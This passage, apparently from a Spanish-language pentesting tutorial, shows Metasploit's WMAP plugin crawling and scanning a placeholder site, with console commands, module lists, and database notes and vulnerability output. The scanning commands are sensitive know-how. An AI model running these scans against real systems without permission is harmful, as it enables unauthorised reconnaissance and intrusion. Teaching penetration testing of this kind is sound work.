msf auxiliary(crawler) > set RHOST www.target.com
msf auxiliary(crawler) > set RPORT 443


Ejecutar el análisis
msf auxiliary(crawler) > run
[*] Crawling https://www.target.com
[*] [00001/00500]    200 - www.target.com - https://www.target.com/
[*]                         FORM: POST /index.asp
[*] [00002/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=EN
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00003/00500]    200 - www.target.com - https://www.target.com/index.asp?lg=FR
[*]                         FORM: GET /index.asp
[*]                         FORM: POST /index.asp
[*] [00004/00500]    200 - www.target.com - https://www.target.com/index.asp
[*]                         FORM: POST /index.asp
[*] Crawl of https://www.target.com:443/ complete
[*] Auxiliary module execution completed


Cargar el plugin WMAP
msf > load wmap
[*] [WMAP 1.0] ===  et [  ] metasploit.com 2011
[*] Successfully loaded plugin: wmap


Verificar los resultados del Crawler HTTP
msf > wmap_sites -l
Available sites
===============

Id  Host             Vhost                             Port  # Pages  # Forms
--  ----             -----                             ----  -------  -------
0   XXX.XXX.XXX.XXX  www.target.com  443   4        3

Nota: Si se requiere establecer un parámetro específico para algún módulo de prueba o sise desea cambiar el valor de una variable definida, esto puede hacerse utilizando el comando setg.

Ejemplo:
msf > setg VHOST www.target.com
msf > setg DOMAIN target.com
msf > setg EXT .asp
msf > setg WMAP_EXCLUDE_FILE


Seleccionar el objetivo
msf > wmap_targets -t www.target.com:443,XXX.XXX.XXX.XXX:443


Para visualizar los objetivos:
msf > wmap_targets -l

Defined targets
===============

Id  Vhost                             Host             Port  SSL   Path
--  -----                             ----             ----  ---   ----
0   www.target.com                    XXX.XXX.XXX.XXX  443   true  


Ejecutando módulos WMAP

Ahora que un objetivo ha sido seleccionado, se podrá obtener una lista de los módulos WMAP disponibles utilizando el comando wmap_run -t:
msf > wmap_run -t
wmap_run -t
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:12:23 +0100 2011
=[ SSL testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ssl ...
[*] Loaded auxiliary/scanner/http/cert ...

=[ Web Server testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/verb_auth_bypass ...
[*] Loaded auxiliary/scanner/http/robots_txt ...
[*] Loaded auxiliary/admin/http/tomcat_administration ...
[*] Loaded auxiliary/scanner/http/webdav_internal_ip ...
[*] Loaded auxiliary/scanner/http/webdav_website_content ...
[*] Loaded auxiliary/scanner/http/http_version ...
[*] Loaded auxiliary/scanner/http/frontpage_login ...
[*] Loaded auxiliary/admin/http/tomcat_utf8_traversal ...
[*] Loaded auxiliary/scanner/http/webdav_scanner ...
[*] Loaded auxiliary/scanner/http/web_vulndb ...
[*] Loaded auxiliary/scanner/http/vhost_scanner ...
[*] Loaded auxiliary/scanner/http/options ...
[*] Loaded auxiliary/scanner/http/open_proxy ...
[*] Loaded auxiliary/scanner/http/svn_scanner ...

=[ File/Dir testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/ms09_020_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/files_dir ...
[*] Loaded auxiliary/scanner/http/replace_ext ...
[*] Loaded auxiliary/scanner/http/dir_webdav_unicode_bypass ...
[*] Loaded auxiliary/scanner/http/copy_of_file ...
[*] Loaded auxiliary/scanner/http/file_same_name_dir ...
[*] Loaded auxiliary/scanner/http/dir_listing ...
[*] Loaded auxiliary/scanner/http/brute_dirs ...
[*] Loaded auxiliary/scanner/http/writable ...
[*] Loaded auxiliary/scanner/http/prev_dir_same_name_file ...
[*] Loaded auxiliary/scanner/http/dir_scanner ...
[*] Loaded auxiliary/scanner/http/backup_file ...
[*] Loaded auxiliary/scanner/http/trace_axd ...

=[ Unique Query testing ]=
============================================================
[*] Loaded auxiliary/scanner/http/error_sql_injection ...
[*] Loaded auxiliary/scanner/http/blind_sql_query ...

=[ Query testing ]=
============================================================

=[ General testing ]=
============================================================
[*] Analysis completed in 52.9915919303894 seconds.
[*] Done.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Nota:
Para consultar la ayuda: wmap_run -h

En wmap/date/ podemos encontrar varios archivos de configuración como un ejemplo del perfi, activado con wmap_run -e path/profile

Si quisiéramos limitar la prueba WMAP a un conjunto de módulos específicos, podemos utilizar un archivo de perfil.

Los perfiles pueden definirse a través de argumentos adicionales al comando wmap_run.

msf > wmap_run -e path/to/profile/file


El archivo de perfil contiene la lista de módulos a ejecutar. Para ver un ejemplo podemos consultar en data/wmap/wmap_sample.profile.


Conclusion

Para ejecutar los módulos, ejecutamos wmap_run -e:
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[*] Testing target:
[*]  Site: www.target.com (XXX.XXX.XXX.XXX)
[*]  Port: 443 SSL: true
============================================================
[*] Testing started. Fri Mar 25 14:14:33 +0100 2011


Reportes

Actualmente, los resultados del análisis WMAP son almacenados en la base de datos.
La base de datos puede utilizarse para construir herramientas personalizadas de reportes, o para hacer consultas directamente desde la consola:
msf > db_notes
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=http.vhost data={:name=>"www.target.com"}
[*] Time: Fri Mar 25 13:15:21 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=ssl.certificate data={:cn=>"www.target.com", :subject=>[["serialNumber", "xxxxxxxxxxxxxxxxxxxxxxxxxx/xxxxx", xx], ["C", "US", 19], ["O", "www.target.com", 19], ["OU", "TX", 19], ["OU", "See www.trust.com/resources/cps (c)11", 19], ["OU", "Domain Control Validated - QuickSSL(R) Premium", 19], ["CN", "www.target.com", 19]], :algorithm=>"sha1WithRSAEncryption"}
[*] Time: Fri Mar 25 13:15:38 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=HTTP_OPTIONS data="OPTIONS, TRACE, GET, HEAD, POST"
[*] Time: Fri Mar 25 13:23:19 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/intro.htm Code: 200"
[*] Time: Fri Mar 25 13:33:15 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/css Code: 301"
[*] Time: Fri Mar 25 13:33:24 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/images Code: 301"
[*] Time: Fri Mar 25 13:33:37 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 301"
[*] Time: Fri Mar 25 13:34:23 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=FILE data="/script Code: 404"
[*] Time: Fri Mar 25 13:44:58 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/css/ Code: 403"
[*] Time: Fri Mar 25 13:45:29 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/images/ Code: 403"
[*] Time: Fri Mar 25 13:46:00 UTC 2011 Note: host=XXX.XXX.XXX.XXX service=https type=DIRECTORY data="/script/ Code: 403"

msf > db_vulns
[*] Time: Fri Mar 25 13:15:40 UTC 2011 Vuln: host=XXX.XXX.XXX.XXX port=443 proto=tcp name=HTTP-TRACE-ENABLED refs=BAhbByIIQ1ZFIg4yMDA1LTMzOTg=
,BAhbByIIQ1ZFIg4yMDA1LTM0OTg=
,BAhbByIKT1NWREIiCDg3Nw==
,BAhbByIIQklEIgoxMTYwNA==
,BAhbByIIQklEIgk5NTA2
,BAhbByIIQklEIgk5NTYx

msf >


La información de la vulnerabilidad es codificada en formato base64, por lo tanto debemos decodificarla. Podremos utilizar openssl para esto.
msf > echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d
[*] exec: echo "BAhbByIIQ1ZFIg4yMDA1LTMzOTg=" | openssl base64 -d

[CVE"2005-3398 
msf >

Ahora podemos utilizar estos datos para recolectar información mas detallada sobre la vulnerabilidad reportada.

Como pentesters, nos gustaría investigar cada hallazgo en profundidad e identificar si existen métodos para ataques potenciales.

Para obtener detalles CVE podemos utilizar Google: